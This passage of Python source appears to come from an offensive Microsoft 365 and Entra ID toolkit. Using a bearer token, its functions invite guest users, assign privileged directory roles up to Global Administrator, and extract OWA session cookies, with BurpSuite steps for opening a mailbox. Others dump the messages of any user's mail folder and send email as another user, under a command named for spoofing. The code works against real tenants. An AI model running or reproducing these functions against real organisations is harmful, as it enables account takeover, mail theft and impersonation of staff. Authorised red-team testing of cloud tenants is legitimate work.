= input("\nEnter Email Address: ").strip() displayname = input("Enter Display Name: ").strip() redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() custommessage = input("Custom Message Body: ").strip() except KeyboardInterrupt: sys.exit() if redirecturl == "": redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" api_url = f"https://graph.microsoft.com/v1.0/invitations" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "invitedUserEmailAddress": email, "invitedUserDisplayName": displayname, "inviteRedirectUrl": redirecturl, "sendInvitationMessage": sendinvitationmessage, "invitedUserMessageInfo": { "customizedMessageBody": custommessage } } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] Guest user invited\n") response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) print(f"{key}: {pretty_value}") else: print_red(f"[-] Failed to invite guest user: {response.status_code}") print_red(response.text) print("=" * 80) # assign-privilegedrole def assign_privilegedrole(args): roles = [ {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} ] print_yellow("[*] Assign-PrivilegedRole") print("=" * 80) table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] separator = ['-' * 20, '-' * 20, '-' * 20] print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) try: roleid = input("\nEnter Role Template ID: ").strip() objectid = input("Enter Object ID (user/group id): ").strip() scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope except KeyboardInterrupt: sys.exit() api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } json_body = { "@odata.type": "#microsoft.graph.unifiedRoleAssignment", "roleDefinitionId": roleid, "principalId": objectid, "directoryScopeId": scopeid } response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) if response.ok: print_green("\n[+] Role assigned\n") response_body = response.json() for key, value in response_body.items(): if not key.startswith("@odata.context"): pretty_value = json.dumps(value, indent=4) print(f"{key}: {pretty_value}") else: print_red(f"\n[-] Failed to assign role: {response.status_code}") print_red(response.text) print("=" * 80) # open-owamailboxinbrowser # - check this is still valid def open_owamailboxinbrowser(args): print_yellow("[*] Open-OWAMailboxInBrowser") print("=" * 80) user_agent = get_user_agent(args) headers = { "Authorization": f"Bearer {get_access_token(args.token)}", "User-Agent": user_agent } if args.only_return_cookies: try: response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) print_green("[+] Cookies:") print(response.headers.get('Set-Cookie')) except requests.RequestException as e: print_red(f"[-] Error making request: {str(e)}") else: print("To open the OWA mailbox in a browser using a Substrate Access Token:") print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") print("2. Paste the below request into Repeater & Send") print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") print("4. Refresh the page to access the mailbox") print() print("GET /owa/ HTTP/1.1") print(f"Host: substrate.office.com") print(f"Authorization: Bearer {get_access_token(args.token)}") print() print("=" * 80) # dump-owamailbox def dump_owamailbox(args): if not args.mail_folder: print_red("[-] Mail folder --mail-folder is required for this command.") return if args.id: base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" else: base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" query_params = [] if args.select: query_params.append(f"$select={args.select}") if args.top: query_params.append(f"$top={args.top}") if query_params: api_url = f"{base_url}?" + "&".join(query_params) else: api_url = base_url max_results = 400 print_yellow("[*] Dump-OWAMailbox") print("=" * 80) user_agent = get_user_agent(args) headers = { "Authorization": f"Bearer {get_access_token(args.token)}", "User-Agent": user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() response_body = response.json() filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} if filtered_data: if not filtered_data.get('value'): print_red("[-] No data found") return email_count = 1 for d in filtered_data.get('value', []): print_green(f"Email {email_count}") for key, value in d.items(): print(f"{key} : {value}") print("\n") email_count += 1 url = response_body.get("@odata.nextLink") if url: response = requests.get(url, headers=headers) response.raise_for_status() response_body = response.json() except requests.RequestException as e: print_red(f"[-] Error making request: {str(e)}") print("=" * 80) # spoof-owaemailmessage def spoof_owaemailmessage(args): if not args.email: print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") return print_yellow("[*] Spoof-OWAEmailMessage") print("=" * 80) api_url = "https://graph.microsoft.com/v1.0/me/sendMail" if args.id: api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } try: subject = input("\nEnter Subject: ").strip() torecipients = input("Enter toRecipients (comma-separated): ").strip() ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true' except KeyboardInterrupt: sys.exit() to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] content = read_file_content(args.email) json_body = { "message": { "subject": subject, "body": { "contentType": "Text", "content": content }, "toRecipients": to_recipients, "ccRecipients": cc_recipients }, "saveToSentItems": savetf } # Add attachment option - check what other files are supported... # "attachments": [ # { # "@odata.type": "#microsoft.graph.fileAttachment", # "name": "attachment.txt", # "contentType": "text/plain", # "contentBytes": "SGVsbG8gV29ybGQh" # } # ] response = requests.post(api_url, headers=headers, json=json_body) if response.ok: print_green("\n[+] Email sent successfully") else: print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") print_red(response.text) print("=" * 80)